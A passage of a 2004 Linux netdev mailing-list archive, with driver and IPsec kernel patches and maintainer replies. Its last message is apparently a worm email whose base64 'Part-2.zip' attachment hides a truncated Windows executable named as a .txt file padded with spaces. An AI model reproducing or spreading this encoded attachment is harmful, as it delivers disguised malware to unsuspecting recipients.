goto err_pci_request_regions; diff -Nru a/drivers/net/ne-h8300.c b/drivers/net/ne-h8300.c --- a/drivers/net/ne-h8300.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ne-h8300.c Sat May 22 17:40:55 2004 @@ -34,6 +34,8 @@ #include "8390.h" +#define DRV_NAME "ne-h8300" + /* Some defines that people can play with if so inclined. */ /* Do we perform extra sanity checks on stuff ? */ @@ -202,7 +204,7 @@ struct ei_device *ei_local = (struct ei_device *) netdev_priv(dev); unsigned char bus_width; - if (!request_region(ioaddr, NE_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, NE_IO_EXTENT, DRV_NAME)) return -EBUSY; reg0 = inb_p(ioaddr); diff -Nru a/drivers/net/ne.c b/drivers/net/ne.c --- a/drivers/net/ne.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ne.c Sat May 22 17:40:55 2004 @@ -55,6 +55,8 @@ #include "8390.h" +#define DRV_NAME "ne" + /* Some defines that people can play with if so inclined. */ /* Do we support clones that don't adhere to 14,15 of the SAprom ? */ @@ -286,7 +288,7 @@ int reg0, ret; static unsigned version_printed; - if (!request_region(ioaddr, NE_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, NE_IO_EXTENT, DRV_NAME)) return -EBUSY; reg0 = inb_p(ioaddr); diff -Nru a/drivers/net/ne2.c b/drivers/net/ne2.c --- a/drivers/net/ne2.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ne2.c Sat May 22 17:40:55 2004 @@ -82,6 +82,8 @@ #include "8390.h" +#define DRV_NAME "ne2" + /* Some defines that people can play with if so inclined. */ /* Do we perform extra sanity checks on stuff ? */ @@ -370,7 +372,7 @@ irq = irqs[(POS & 0x60)>>5]; } - if (!request_region(base_addr, NE_IO_EXTENT, dev->name)) + if (!request_region(base_addr, NE_IO_EXTENT, DRV_NAME)) return -EBUSY; #ifdef DEBUG @@ -472,7 +474,7 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev); if (retval) { printk (" unable to get IRQ %d (irqval=%d).\n", dev->irq, retval); diff -Nru a/drivers/net/ne2k_cbus.c b/drivers/net/ne2k_cbus.c --- a/drivers/net/ne2k_cbus.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ne2k_cbus.c Sat May 22 17:40:55 2004 @@ -37,6 +37,8 @@ #include "8390.h" +#define DRV_NAME "ne2k_cbus" + /* Some defines that people can play with if so inclined. */ /* Do we support clones that don't adhere to 14,15 of the SAprom ? */ @@ -265,7 +267,7 @@ for (rlist = hw->regionlist; rlist->range; rlist++) if (!request_region(ioaddr + rlist->start, - rlist->range, dev->name)) { + rlist->range, DRV_NAME)) { ret = -EBUSY; goto err_out; } diff -Nru a/drivers/net/ne3210.c b/drivers/net/ne3210.c --- a/drivers/net/ne3210.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ne3210.c Sat May 22 17:40:55 2004 @@ -45,6 +45,8 @@ #include "8390.h" +#define DRV_NAME "ne3210" + static int ne3210_open(struct net_device *dev); static int ne3210_close(struct net_device *dev); @@ -111,13 +113,13 @@ device->driver_data = dev; ioaddr = edev->base_addr; - if (!request_region(ioaddr, NE3210_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr, NE3210_IO_EXTENT, DRV_NAME)) { retval = -EBUSY; goto out; } if (!request_region(ioaddr + NE3210_CFG1, - NE3210_CFG_EXTENT, dev->name)) { + NE3210_CFG_EXTENT, DRV_NAME)) { retval = -EBUSY; goto out1; } @@ -140,7 +142,7 @@ dev->irq = irq_map[(inb(ioaddr + NE3210_CFG2) >> 3) & 0x07]; printk(".\nne3210.c: using IRQ %d, ", dev->irq); - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev); if (retval) { printk (" unable to get IRQ %d.\n", dev->irq); goto out2; @@ -163,7 +165,7 @@ } } - if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, dev->name)) { + if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, DRV_NAME)) { printk ("ne3210.c: Unable to request shared memory at physical address %#lx\n", phys_mem); goto out3; diff -Nru a/drivers/net/ni52.c b/drivers/net/ni52.c --- a/drivers/net/ni52.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ni52.c Sat May 22 17:40:55 2004 @@ -124,6 +124,8 @@ #include "ni52.h" +#define DRV_NAME "ni52" + #define DEBUG /* debug on */ #define SYSBUSVAL 1 /* 8 Bit */ @@ -424,7 +426,7 @@ dev->mem_start = memstart; dev->mem_end = memend; - if (!request_region(ioaddr, NI52_TOTAL_SIZE, dev->name)) + if (!request_region(ioaddr, NI52_TOTAL_SIZE, DRV_NAME)) return -EBUSY; if( !(inb(ioaddr+NI52_MAGIC1) == NI52_MAGICVAL1) || diff -Nru a/drivers/net/ns83820.c b/drivers/net/ns83820.c --- a/drivers/net/ns83820.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ns83820.c Sat May 22 17:40:55 2004 @@ -113,6 +113,8 @@ #include #include +#define DRV_NAME "ns83820" + /* Global parameters. See MODULE_PARM near the bottom. */ static int ihr = 2; static int reset_phy = 0; @@ -1851,7 +1853,7 @@ 0); err = request_irq(pci_dev->irq, ns83820_irq, SA_SHIRQ, - ndev->name, ndev); + DRV_NAME, ndev); if (err) { printk(KERN_INFO "ns83820: unable to register irq %d\n", pci_dev->irq); diff -Nru a/drivers/net/oaknet.c b/drivers/net/oaknet.c --- a/drivers/net/oaknet.c Sat May 22 17:40:55 2004 +++ b/drivers/net/oaknet.c Sat May 22 17:40:55 2004 @@ -164,7 +164,7 @@ ret = -EAGAIN; if (request_irq(dev->irq, ei_interrupt, 0, name, dev)) { printk("%s: unable to request interrupt %d.\n", - dev->name, dev->irq); + name, dev->irq); goto out_region; } diff -Nru a/drivers/net/r8169.c b/drivers/net/r8169.c --- a/drivers/net/r8169.c Sat May 22 17:40:55 2004 +++ b/drivers/net/r8169.c Sat May 22 17:40:55 2004 @@ -716,7 +716,7 @@ goto err_out_disable; } - rc = pci_request_regions(pdev, dev->name); + rc = pci_request_regions(pdev, MODULENAME); if (rc) { printk(KERN_ERR PFX "%s: Could not request regions.\n", pdev->slot_name); goto err_out_disable; diff -Nru a/drivers/net/smc-mca.c b/drivers/net/smc-mca.c --- a/drivers/net/smc-mca.c Sat May 22 17:40:55 2004 +++ b/drivers/net/smc-mca.c Sat May 22 17:40:55 2004 @@ -51,6 +51,8 @@ #include "8390.h" #include "smc-mca.h" +#define DRV_NAME "smc-mca" + static int ultramca_open(struct net_device *dev); static void ultramca_reset_8390(struct net_device *dev); static void ultramca_get_8390_hdr(struct net_device *dev, @@ -265,7 +267,7 @@ goto err_unclaim; } - if (!request_region(ioaddr, ULTRA_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr, ULTRA_IO_EXTENT, DRV_NAME)) { rc = -ENODEV; goto err_unclaim; } diff -Nru a/drivers/net/smc-ultra.c b/drivers/net/smc-ultra.c --- a/drivers/net/smc-ultra.c Sat May 22 17:40:55 2004 +++ b/drivers/net/smc-ultra.c Sat May 22 17:40:55 2004 @@ -72,6 +72,8 @@ #include "8390.h" +#define DRV_NAME "smc-ultra" + /* A zero-terminated list of I/O addresses to be probed. */ static unsigned int ultra_portlist[] __initdata = {0x200, 0x220, 0x240, 0x280, 0x300, 0x340, 0x380, 0}; @@ -217,7 +219,7 @@ unsigned char idreg = inb(ioaddr + 7); unsigned char reg4 = inb(ioaddr + 4) & 0x7f; - if (!request_region(ioaddr, ULTRA_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, ULTRA_IO_EXTENT, DRV_NAME)) return -EBUSY; /* Check the ID nibble. */ diff -Nru a/drivers/net/smc-ultra32.c b/drivers/net/smc-ultra32.c --- a/drivers/net/smc-ultra32.c Sat May 22 17:40:55 2004 +++ b/drivers/net/smc-ultra32.c Sat May 22 17:40:55 2004 @@ -61,6 +61,8 @@ #include "8390.h" +#define DRV_NAME "smc-ultra32" + static int ultra32_probe1(struct net_device *dev, int ioaddr); static int ultra32_open(struct net_device *dev); static void ultra32_reset_8390(struct net_device *dev); @@ -163,7 +165,7 @@ unsigned char reg4; const char *ifmap[] = {"UTP No Link", "", "UTP/AUI", "UTP/BNC"}; - if (!request_region(ioaddr, ULTRA32_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, ULTRA32_IO_EXTENT, DRV_NAME)) return -EBUSY; if (inb(ioaddr + ULTRA32_IDPORT) == 0xff || diff -Nru a/drivers/net/smc9194.c b/drivers/net/smc9194.c --- a/drivers/net/smc9194.c Sat May 22 17:40:55 2004 +++ b/drivers/net/smc9194.c Sat May 22 17:40:55 2004 @@ -78,6 +78,8 @@ #include "smc9194.h" +#define DRV_NAME "smc9194" + /*------------------------------------------------------------------------ . . Configuration options, for the experienced user to change. @@ -843,7 +845,7 @@ word memory_cfg_register; /* Grab the region so that no one else tries to probe our ioports. */ - if (!request_region(ioaddr, SMC_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, SMC_IO_EXTENT, DRV_NAME)) return -EBUSY; dev->irq = irq; @@ -1001,9 +1003,9 @@ memset(dev->priv, 0, sizeof(struct smc_local)); /* Grab the IRQ */ - retval = request_irq(dev->irq, &smc_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, &smc_interrupt, 0, DRV_NAME, dev); if (retval) { - printk("%s: unable to get IRQ %d (irqval=%d).\n", dev->name, + printk("%s: unable to get IRQ %d (irqval=%d).\n", DRV_NAME, dev->irq, retval); goto err_out; } diff -Nru a/drivers/net/starfire.c b/drivers/net/starfire.c --- a/drivers/net/starfire.c Sat May 22 17:40:55 2004 +++ b/drivers/net/starfire.c Sat May 22 17:40:55 2004 @@ -880,7 +880,7 @@ irq = pdev->irq; - if (pci_request_regions (pdev, dev->name)) { + if (pci_request_regions (pdev, DRV_NAME)) { printk(KERN_ERR DRV_NAME " %d: cannot reserve PCI resources, aborting\n", card_idx); goto err_out_free_netdev; } diff -Nru a/drivers/net/stnic.c b/drivers/net/stnic.c --- a/drivers/net/stnic.c Sat May 22 17:40:55 2004 +++ b/drivers/net/stnic.c Sat May 22 17:40:55 2004 @@ -28,6 +28,8 @@ #include "8390.h" +#define DRV_NAME "stnic" + #define byte unsigned char #define half unsigned short #define word unsigned int @@ -130,7 +132,7 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - err = request_irq (dev->irq, ei_interrupt, 0, dev->name, dev); + err = request_irq (dev->irq, ei_interrupt, 0, DRV_NAME, dev); if (err) { printk (KERN_EMERG " unable to get IRQ %d.\n", dev->irq); free_netdev(dev); diff -Nru a/drivers/net/sun3_82586.c b/drivers/net/sun3_82586.c --- a/drivers/net/sun3_82586.c Sat May 22 17:40:55 2004 +++ b/drivers/net/sun3_82586.c Sat May 22 17:40:55 2004 @@ -53,6 +53,8 @@ #include "sun3_82586.h" +#define DRV_NAME "sun3_82586" + #define DEBUG /* debug on */ #define SYSBUSVAL 0 /* 16 Bit */ #define SUN3_82586_TOTAL_SIZE PAGE_SIZE @@ -336,7 +338,7 @@ { int i, size, retval; - if (!request_region(ioaddr, SUN3_82586_TOTAL_SIZE, dev->name)) + if (!request_region(ioaddr, SUN3_82586_TOTAL_SIZE, DRV_NAME)) return -EBUSY; /* copy in the ethernet address from the prom */ diff -Nru a/drivers/net/sungem.c b/drivers/net/sungem.c --- a/drivers/net/sungem.c Sat May 22 17:40:55 2004 +++ b/drivers/net/sungem.c Sat May 22 17:40:55 2004 @@ -2717,7 +2717,7 @@ gp = dev->priv; - err = pci_request_regions(pdev, dev->name); + err = pci_request_regions(pdev, DRV_NAME); if (err) { printk(KERN_ERR PFX "Cannot obtain PCI resources, " "aborting.\n"); diff -Nru a/drivers/net/sunhme.c b/drivers/net/sunhme.c --- a/drivers/net/sunhme.c Sat May 22 17:40:55 2004 +++ b/drivers/net/sunhme.c Sat May 22 17:40:55 2004 @@ -68,6 +68,8 @@ #include "sunhme.h" +#define DRV_NAME "sunhme" + static int macaddr[6]; /* accept MAC address of the form macaddr=0x08,0x00,0x20,0x30,0x40,0x50 */ @@ -3085,7 +3087,7 @@ printk(KERN_ERR "happymeal(PCI): Cannot find proper PCI device base address.\n"); goto err_out_clear_quattro; } - if (pci_request_regions(pdev, dev->name)) { + if (pci_request_regions(pdev, DRV_NAME)) { printk(KERN_ERR "happymeal(PCI): Cannot obtain PCI resources, " "aborting.\n"); goto err_out_clear_quattro; diff -Nru a/drivers/net/wd.c b/drivers/net/wd.c --- a/drivers/net/wd.c Sat May 22 17:40:55 2004 +++ b/drivers/net/wd.c Sat May 22 17:40:55 2004 @@ -43,6 +43,8 @@ #include "8390.h" +#define DRV_NAME "wd" + /* A zero-terminated list of I/O addresses to be probed. */ static unsigned int wd_portlist[] __initdata = {0x300, 0x280, 0x380, 0x240, 0}; @@ -302,7 +304,7 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - i = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + i = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev); if (i) { printk (" unable to get IRQ %d.\n", dev->irq); return i; diff -Nru a/drivers/net/yellowfin.c b/drivers/net/yellowfin.c --- a/drivers/net/yellowfin.c Sat May 22 17:40:55 2004 +++ b/drivers/net/yellowfin.c Sat May 22 17:40:55 2004 @@ -448,7 +448,7 @@ np = dev->priv; - if (pci_request_regions(pdev, dev->name)) + if (pci_request_regions(pdev, DRV_NAME)) goto err_out_free_netdev; pci_set_master (pdev); diff -Nru a/drivers/net/zorro8390.c b/drivers/net/zorro8390.c --- a/drivers/net/zorro8390.c Sat May 22 17:40:55 2004 +++ b/drivers/net/zorro8390.c Sat May 22 17:40:55 2004 @@ -36,6 +36,8 @@ #include "8390.h" +#define DRV_NAME "zorro8390" + #define NE_BASE (dev->base_addr) #define NE_CMD (0x00*2) #define NE_DATAPORT (0x10*2) /* NatSemi-defined port window offset. */ @@ -115,7 +117,7 @@ if (!dev) return -ENOMEM; SET_MODULE_OWNER(dev); - if (!request_mem_region(ioaddr, NE_IO_EXTENT*2, dev->name)) { + if (!request_mem_region(ioaddr, NE_IO_EXTENT*2, DRV_NAME)) { free_netdev(dev); return -EBUSY; } @@ -198,7 +200,7 @@ dev->irq = IRQ_AMIGA_PORTS; /* Install the Interrupt handler */ - i = request_irq(IRQ_AMIGA_PORTS, ei_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(IRQ_AMIGA_PORTS, ei_interrupt, SA_SHIRQ, DRV_NAME, dev); if (i) return i; for(i = 0; i < ETHER_ADDR_LEN; i++) { --UlVJffcvxoiEqYs2-- From herbert@gondor.apana.org.au Sat May 22 05:16:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 05:16:39 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MCGRKO006329 for ; Sat, 22 May 2004 05:16:29 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BRVQK-00064e-00; Sat, 22 May 2004 22:16:20 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BRVQH-00032L-00; Sat, 22 May 2004 22:16:17 +1000 Date: Sat, 22 May 2004 22:16:17 +1000 To: "David S. Miller" , netdev@oss.sgi.com Subject: [IPSEC] Lock policy in policy timer Message-ID: <20040522121617.GA11649@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="T4sUOijqQbZv57TR" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave: In light of the xfrm_state timer bug, I reviewed the policy timer as well. In doing so I found that the policy timer didn't take a lock on the policy. Although this won't lead to a panic, it does mean that a policy might potentially take a long time to be freed. So here is a patch to take a read_lock on the policy in the timer so that it does not die on us. Since the timer doesn't occur very often, this shouldn't have much of an impact. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== xfrm_policy.c 1.49 vs edited ===== --- 1.49/net/xfrm/xfrm_policy.c 2004-03-20 14:35:32 +11:00 +++ edited/xfrm_policy.c 2004-05-22 22:11:51 +10:00 @@ -148,6 +148,8 @@ int warn = 0; int dir; + read_lock(&xp->lock); + if (xp->dead) goto out; @@ -197,6 +199,7 @@ xfrm_pol_hold(xp); out: + read_unlock(&xp->lock); xfrm_pol_put(xp); return; --T4sUOijqQbZv57TR-- From ak@suse.de Sat May 22 05:56:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 05:56:16 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MCu3KO007057 for ; Sat, 22 May 2004 05:56:04 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 447995EF01D; Sat, 22 May 2004 14:20:55 +0200 (CEST) Date: Sat, 22 May 2004 14:20:55 +0200 From: Andi Kleen To: Arthur Kepner Cc: netdev@oss.sgi.com Subject: Re: [PATCH] "lockless loopback" patch for 2.6.6 Message-ID: <20040522122055.GC2118@wotan.suse.de> References: <20040512120810.464aaee6.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-archive-position: 5240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Fri, May 21, 2004 at 02:04:09PM -0700, Arthur Kepner wrote: > > Lock contention on the loopback device can lead to poor > performance, even an essentially hung system, on systems > with many processors. > > For the loopback device, the only purpose that locking serves > is to protect the device statistics. The attached patch > keeps per-cpu statistics for the loopback device and removes > all locking. The patch is against 2.6.6. [...] It looks quite ugly. How about you just create multiple loopback devices and use these preferably from specific CPUs ? One loopback device per CPU would be probably overkill, but maybe one per 8 CPUs. -Andi From Qiaobing.Xie@motorola.com Sat May 22 07:11:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 07:11:45 -0700 (PDT) Received: from motgate8.mot.com (motgate8.mot.com [129.188.136.8]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MEBeKO008418 for ; Sat, 22 May 2004 07:11:42 -0700 Received: from il06exr03.mot.com (il06exr03.mot.com [129.188.137.133]) by motgate8.mot.com (Motorola/Motgate3) with ESMTP id i4MEC6bL018020 for ; Sat, 22 May 2004 07:12:06 -0700 (MST) Received: from il27exm03.cig.mot.com (il27exm03.cig.mot.com [10.17.193.4]) by il06exr03.mot.com (Motorola/il06exr03) with ESMTP id i4MEBbv4012536 for ; Sat, 22 May 2004 09:11:38 -0500 Received: by il27exm03.cig.mot.com with Internet Mail Service (5.5.2657.72) id ; Sat, 22 May 2004 09:11:37 -0500 Message-ID: From: Xie Qiaobing-QXIE1 To: netdev@oss.sgi.com Subject: Out of Office AutoReply: information Date: Sat, 22 May 2004 09:11:37 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-archive-position: 5241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Qiaobing.Xie@motorola.com Precedence: bulk X-list: netdev I am currently out of office. I will still try to read emails but my response may be delayed. From davem@redhat.com Sat May 22 13:34:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 13:34:48 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MKYjKO027341 for ; Sat, 22 May 2004 13:34:45 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4MKYcGG013375; Sat, 22 May 2004 16:34:38 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4MKYc007354; Sat, 22 May 2004 16:34:38 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4MKYZhk032499; Sat, 22 May 2004 16:34:35 -0400 Date: Sat, 22 May 2004 13:34:23 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [IPSEC] Lock policy in policy timer Message-Id: <20040522133423.541794be.davem@redhat.com> In-Reply-To: <20040522121617.GA11649@gondor.apana.org.au> References: <20040522121617.GA11649@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Looks fine, applied. Thanks Herbert. From davem@redhat.com Sat May 22 13:48:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 13:48:33 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MKmSKO027784 for ; Sat, 22 May 2004 13:48:29 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4MKmPGG016041; Sat, 22 May 2004 16:48:25 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4MKmP009855; Sat, 22 May 2004 16:48:25 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4MKmMhk002571; Sat, 22 May 2004 16:48:22 -0400 Date: Sat, 22 May 2004 13:48:10 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] (11/11) bridge -- forwarding table sanity checks Message-Id: <20040522134810.61bbcf9e.davem@redhat.com> In-Reply-To: <20040521163923.4d558723@dell_ss3.pdx.osdl.net> References: <20040521163923.4d558723@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev It all looks good, applied. Thanks Stephen. From perex@jcu.cz Sat May 22 15:23:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 15:23:51 -0700 (PDT) Received: from oss.sgi.com ([212.70.55.93]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MMN7KO002135 for ; Sat, 22 May 2004 15:23:31 -0700 Message-Id: <200405222223.i4MMN7KO002135@oss.sgi.com> From: perex@jcu.cz To: netdev@oss.sgi.com Subject: Document Date: Sun, 23 May 2004 01:23:15 +0300 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_00002AEF.00003B31" X-Priority: 1 X-MSMail-Priority: High X-archive-position: 5244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: perex@jcu.cz Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0005_00002AEF.00003B31 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Important! ------=_NextPart_000_0005_00002AEF.00003B31 Content-Type: application/octet-stream; name="Part-2.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Part-2.zip" UEsDBAoAAAAAAHaktjCNS0/3AFYAAABWAACTAAAAUGFydC0yLnR4dCAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAuZXhlTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNh bm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACYCVAw3Gg+Y9xoPmPcaD5jX3Qw Y9BoPmM0dzRjxWg+Y19gY2PeaD5j3Gg+Y99oPmPcaD9jvmg+Y753LWPVaD5jNHc1Y9loPmNk bjhj3Wg+Y1JpY2jcaD5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAgANW4VAAAAA AAAAAADgAA8BCwEGAABSAAAAKBwAAAAAAF8+AAAAEAAAAHAAAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAAwB0AAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAA AAAAAAAetRwAigAAAACwHAAKBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAACgHAAAEAAAAEQAAAAEAAAyQ0VQAAAAAAAAAAAg AADgLnJzcmMAAAAYBQEAALAcAAAOAAAASAAAAAAAAAAAAAAAAAAAIAAA4AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAALnJzcmMAAAAAEAAAALAcAAAOAAAAhgAAAAAAAAAAAAAAAAAAIAAA 4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAFUAi+yLRQxWV4sAfQgz0jPJM/YAgD8AdClTagEAWyvfiV0Iih8AgPsu dQyIDAIsi1UgAMkD1+sFiFwGCwFBRkcnhXXhW8UYgGSADwCNRgFfAF5dw4tEJAhTuEx8JFgQ TYEA+gAIAAB9Og8FtgiFyXSBWcHAdSRgV147zgB8C4ocBogfRwBGO/F+9YB8Abk+RGAEdATG AgcuR0LryMEvQAEDYEgY67wWgCcAVRdbw6MLgewYS4CApej3//9YAGC5WP8zAAUzwI296cAP 86tmq2qwb/ZaAKpSjUXsVlCJAFXoBiUmvQCLAD1ocUAAg8QMAmY5dRBmx8AaAgB2BVj/CusL HGhQlhgLaEQEhf8VbMAjO8Z0BmYAi0AI6wRqNf9Z1yLBMYlF7mMacMKD+P/BC/B1F3cUEB50 8islwioMi8VeAMIYVmoCzgEYPXjZKRBgJmr9WFjpnQIAX2r+6/ZTaN9ZEajBUoCN6nKoAc79 WCyFnAsAAWnXCJfsEguNhfQFllANHrXu4mQI5wnwvAby8Ohd/rAEWYsL8FmDxn4BdRSApDU2 